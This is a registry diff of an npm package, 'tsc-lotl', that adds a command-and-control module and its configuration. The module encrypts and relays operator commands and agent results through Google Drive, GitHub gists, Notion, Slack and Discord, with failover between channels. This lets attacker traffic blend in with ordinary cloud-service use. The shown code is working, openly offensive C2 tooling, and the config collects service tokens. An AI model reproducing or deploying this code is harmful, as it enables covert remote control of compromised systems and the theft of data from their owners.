tsc-lotl 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/tsc-lotl.js +226 -0
- package/package.json +14 -0
- package/src/channels/discord.js +164 -0
- package/src/channels/gdrive.js +272 -0
- package/src/channels/github.js +172 -0
- package/src/channels/notion.js +151 -0
- package/src/channels/slack.js +185 -0
- package/src/lotl-c2.js +261 -0
- package/tsc-lotl-config.json +35 -0
package/src/lotl-c2.js
ADDED
|
@@ -0,0 +1,261 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const crypto = require('crypto');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const GDrive = require('./channels/gdrive');
|
|
7
|
+
const GitHub = require('./channels/github');
|
|
8
|
+
const Notion = require('./channels/notion');
|
|
9
|
+
const Slack = require('./channels/slack');
|
|
10
|
+
const Discord = require('./channels/discord');
|
|
11
|
+
|
|
12
|
+
class LotlC2 {
|
|
13
|
+
constructor(configPath) {
|
|
14
|
+
this.config = JSON.parse(fs.readFileSync(configPath, 'utf8'));
|
|
15
|
+
this.encryptionKey = this.config.encryptionKey || '00000000000000000000000000000000';
|
|
16
|
+
this.channels = {};
|
|
17
|
+
this.channelStatus = {};
|
|
18
|
+
this.channelPriority = this.config.channelPriority || ['gdrive', 'github', 'notion', 'slack', 'discord'];
|
|
19
|
+
this._initChannels();
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
_initChannels() {
|
|
23
|
+
if (this.config.channels.gdrive) {
|
|
24
|
+
this.channels.gdrive = new GDrive(this.config.channels.gdrive);
|
|
25
|
+
this.channelStatus.gdrive = 'unknown';
|
|
26
|
+
}
|
|
27
|
+
if (this.config.channels.github) {
|
|
28
|
+
this.channels.github = new GitHub(this.config.channels.github);
|
|
29
|
+
this.channelStatus.github = 'unknown';
|
|
30
|
+
}
|
|
31
|
+
if (this.config.channels.notion) {
|
|
32
|
+
this.channels.notion = new Notion(this.config.channels.notion);
|
|
33
|
+
this.channelStatus.notion = 'unknown';
|
|
34
|
+
}
|
|
35
|
+
if (this.config.channels.slack) {
|
|
36
|
+
this.channels.slack = new Slack(this.config.channels.slack);
|
|
37
|
+
this.channelStatus.slack = 'unknown';
|
|
38
|
+
}
|
|
39
|
+
if (this.config.channels.discord) {
|
|
40
|
+
this.channels.discord = new Discord(this.config.channels.discord);
|
|
41
|
+
this.channelStatus.discord = 'unknown';
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
_encrypt(plaintext) {
|
|
46
|
+
const key = Buffer.from(this.encryptionKey, 'utf8').slice(0, 32);
|
|
47
|
+
const iv = crypto.randomBytes(16);
|
|
48
|
+
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
|
49
|
+
let encrypted = cipher.update(plaintext, 'utf8', 'hex');
|
|
50
|
+
encrypted += cipher.final('hex');
|
|
51
|
+
return iv.toString('hex') + ':' + encrypted;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
_decrypt(ciphertext) {
|
|
55
|
+
const key = Buffer.from(this.encryptionKey, 'utf8').slice(0, 32);
|
|
56
|
+
const parts = ciphertext.split(':');
|
|
57
|
+
const iv = Buffer.from(parts[0], 'hex');
|
|
58
|
+
const encrypted = parts[1];
|
|
59
|
+
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
|
60
|
+
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
|
|
61
|
+
decrypted += decipher.final('utf8');
|
|
62
|
+
return decrypted;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
_b64Encode(str) {
|
|
66
|
+
return Buffer.from(str, 'utf8').toString('base64');
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
_b64Decode(str) {
|
|
70
|
+
return Buffer.from(str, 'base64').toString('utf8');
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
_splitPayload(payload, maxSize) {
|
|
74
|
+
const chunks = [];
|
|
75
|
+
for (let i = 0; i < payload.length; i += maxSize) {
|
|
76
|
+
chunks.push(payload.substring(i, i + maxSize));
|
|
77
|
+
}
|
|
78
|
+
return chunks;
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
async sendCommand(channel, agentId, cmd) {
|
|
82
|
+
const ch = this.channels[channel];
|
|
83
|
+
if (!ch) throw new Error(`Channel "${channel}" not configured`);
|
|
84
|
+
|
|
85
|
+
const payload = JSON.stringify({
|
|
86
|
+
agentId,
|
|
87
|
+
command: cmd,
|
|
88
|
+
timestamp: new Date().toISOString()
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
const encrypted = this._encrypt(payload);
|
|
92
|
+
const b64 = this._b64Encode(encrypted);
|
|
93
|
+
|
|
94
|
+
try {
|
|
95
|
+
const result = await ch.sendCommand(agentId, b64);
|
|
96
|
+
this.channelStatus[channel] = 'up';
|
|
97
|
+
return result;
|
|
98
|
+
} catch (err) {
|
|
99
|
+
this.channelStatus[channel] = 'down';
|
|
100
|
+
throw err;
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
async pollCommands(channel, agentId) {
|
|
105
|
+
const ch = this.channels[channel];
|
|
106
|
+
if (!ch) throw new Error(`Channel "${channel}" not configured`);
|
|
107
|
+
|
|
108
|
+
try {
|
|
109
|
+
const result = await ch.pollCommands(agentId);
|
|
110
|
+
this.channelStatus[channel] = 'up';
|
|
111
|
+
if (!result || result.length === 0) return [];
|
|
112
|
+
|
|
113
|
+
return result.map(item => {
|
|
114
|
+
try {
|
|
115
|
+
const decrypted = this._decrypt(this._b64Decode(item.command));
|
|
116
|
+
const parsed = JSON.parse(decrypted);
|
|
117
|
+
return {
|
|
118
|
+
id: item.id,
|
|
119
|
+
agentId: parsed.agentId,
|
|
120
|
+
command: parsed.command,
|
|
121
|
+
timestamp: parsed.timestamp,
|
|
122
|
+
raw: item
|
|
123
|
+
};
|
|
124
|
+
} catch (e) {
|
|
125
|
+
return null;
|
|
126
|
+
}
|
|
127
|
+
}).filter(Boolean);
|
|
128
|
+
} catch (err) {
|
|
129
|
+
this.channelStatus[channel] = 'down';
|
|
130
|
+
throw err;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
async sendResult(channel, agentId, result) {
|
|
135
|
+
const ch = this.channels[channel];
|
|
136
|
+
if (!ch) throw new Error(`Channel "${channel}" not configured`);
|
|
137
|
+
|
|
138
|
+
const payload = JSON.stringify({
|
|
139
|
+
agentId,
|
|
140
|
+
result,
|
|
141
|
+
timestamp: new Date().toISOString()
|
|
142
|
+
});
|
|
143
|
+
|
|
144
|
+
const encrypted = this._encrypt(payload);
|
|
145
|
+
const b64 = this._b64Encode(encrypted);
|
|
146
|
+
|
|
147
|
+
try {
|
|
148
|
+
const res = await ch.sendResult(agentId, b64);
|
|
149
|
+
this.channelStatus[channel] = 'up';
|
|
150
|
+
return res;
|
|
151
|
+
} catch (err) {
|
|
152
|
+
this.channelStatus[channel] = 'down';
|
|
153
|
+
throw err;
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
async pollResults(channel, agentId) {
|
|
158
|
+
const ch = this.channels[channel];
|
|
159
|
+
if (!ch || typeof ch.pollResults !== 'function') return [];
|
|
160
|
+
try {
|
|
161
|
+
const results = await ch.pollResults(agentId);
|
|
162
|
+
this.channelStatus[channel] = 'up';
|
|
163
|
+
return results.map(item => {
|
|
164
|
+
try {
|
|
165
|
+
const decrypted = this._decrypt(this._b64Decode(item.result));
|
|
166
|
+
const parsed = JSON.parse(decrypted);
|
|
167
|
+
return {
|
|
168
|
+
id: item.id,
|
|
169
|
+
agentId: parsed.agentId,
|
|
170
|
+
result: parsed.result,
|
|
171
|
+
timestamp: parsed.timestamp,
|
|
172
|
+
channel
|
|
173
|
+
};
|
|
174
|
+
} catch (e) {
|
|
175
|
+
return null;
|
|
176
|
+
}
|
|
177
|
+
}).filter(Boolean);
|
|
178
|
+
} catch (err) {
|
|
179
|
+
this.channelStatus[channel] = 'down';
|
|
180
|
+
return [];
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
async pollAllResults() {
|
|
185
|
+
const allResults = [];
|
|
186
|
+
for (const ch of this.channelPriority) {
|
|
187
|
+
if (!this.channels[ch] || typeof this.channels[ch].pollResults !== 'function') continue;
|
|
188
|
+
const results = await this.pollResults(ch, '');
|
|
189
|
+
allResults.push(...results);
|
|
190
|
+
}
|
|
191
|
+
return allResults;
|
|
192
|
+
}
|
|
193
|
+
|
|
194
|
+
async testChannel(channel) {
|
|
195
|
+
const ch = this.channels[channel];
|
|
196
|
+
if (!ch) return { channel, status: 'not_configured' };
|
|
197
|
+
|
|
198
|
+
try {
|
|
199
|
+
const result = await ch.test();
|
|
200
|
+
this.channelStatus[channel] = result ? 'up' : 'down';
|
|
201
|
+
return { channel, status: this.channelStatus[channel] };
|
|
202
|
+
} catch (err) {
|
|
203
|
+
this.channelStatus[channel] = 'down';
|
|
204
|
+
return { channel, status: 'down', error: err.message };
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
getChannelStatus() {
|
|
209
|
+
const statuses = {};
|
|
210
|
+
for (const ch of this.channelPriority) {
|
|
211
|
+
if (this.channels[ch]) {
|
|
212
|
+
statuses[ch] = this.channelStatus[ch] || 'unknown';
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
return statuses;
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
async sendCommandWithFailover(agentId, cmd) {
|
|
219
|
+
const errors = [];
|
|
220
|
+
for (const ch of this.channelPriority) {
|
|
221
|
+
if (!this.channels[ch]) continue;
|
|
222
|
+
try {
|
|
223
|
+
const result = await this.sendCommand(ch, agentId, cmd);
|
|
224
|
+
return { channel: ch, result };
|
|
225
|
+
} catch (err) {
|
|
226
|
+
errors.push({ channel: ch, error: err.message });
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
throw new Error(`All channels failed: ${JSON.stringify(errors)}`);
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
async pollAllChannels(agentId) {
|
|
233
|
+
const allCommands = [];
|
|
234
|
+
for (const ch of this.channelPriority) {
|
|
235
|
+
if (!this.channels[ch]) continue;
|
|
236
|
+
try {
|
|
237
|
+
const cmds = await this.pollCommands(ch, agentId);
|
|
238
|
+
allCommands.push(...cmds.map(c => ({ ...c, channel: ch })));
|
|
239
|
+
} catch (err) {
|
|
240
|
+
// channel down, skip
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
return allCommands;
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
async sendResultWithFailover(agentId, result) {
|
|
247
|
+
const errors = [];
|
|
248
|
+
for (const ch of this.channelPriority) {
|
|
249
|
+
if (!this.channels[ch]) continue;
|
|
250
|
+
try {
|
|
251
|
+
const res = await this.sendResult(ch, agentId, result);
|
|
252
|
+
return { channel: ch, result: res };
|
|
253
|
+
} catch (err) {
|
|
254
|
+
errors.push({ channel: ch, error: err.message });
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
throw new Error(`All channels failed to send result: ${JSON.stringify(errors)}`);
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
module.exports = LotlC2;
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
{
|
|
2
|
+
"encryptionKey": "CHANGE_ME_TO_A_32_CHAR_KEY____",
|
|
3
|
+
"channelPriority": [
|
|
4
|
+
"gdrive",
|
|
5
|
+
"github",
|
|
6
|
+
"notion",
|
|
7
|
+
"slack",
|
|
8
|
+
"discord"
|
|
9
|
+
],
|
|
10
|
+
"channels": {
|
|
11
|
+
"gdrive": {
|
|
12
|
+
"accessToken": "YOUR_GOOGLE_DRIVE_ACCESS_TOKEN",
|
|
13
|
+
"folderName": ".tsc_lotl_c2"
|
|
14
|
+
},
|
|
15
|
+
"github": {
|
|
16
|
+
"token": "YOUR_GITHUB_PERSONAL_ACCESS_TOKEN",
|
|
17
|
+
"gistPrefix": "tsc-lotl-cmd-"
|
|
18
|
+
},
|
|
19
|
+
"notion": {
|
|
20
|
+
"apiKey": "YOUR_NOTION_INTEGRATION_TOKEN",
|
|
21
|
+
"databaseId": "YOUR_NOTION_DATABASE_ID"
|
|
22
|
+
},
|
|
23
|
+
"slack": {
|
|
24
|
+
"webhookUrl": "https://hooks.slack.com/services/YOUR/WEBHOOK/URL",
|
|
25
|
+
"token": "YOUR_SLACK_BOT_TOKEN",
|
|
26
|
+
"channelId": "YOUR_SLACK_CHANNEL_ID"
|
|
27
|
+
},
|
|
28
|
+
"discord": {
|
|
29
|
+
"webhookId": "YOUR_DISCORD_WEBHOOK_ID",
|
|
30
|
+
"webhookToken": "YOUR_DISCORD_WEBHOOK_TOKEN",
|
|
31
|
+
"botToken": "YOUR_DISCORD_BOT_TOKEN",
|
|
32
|
+
"channelId": "YOUR_DISCORD_CHANNEL_ID"
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
}
|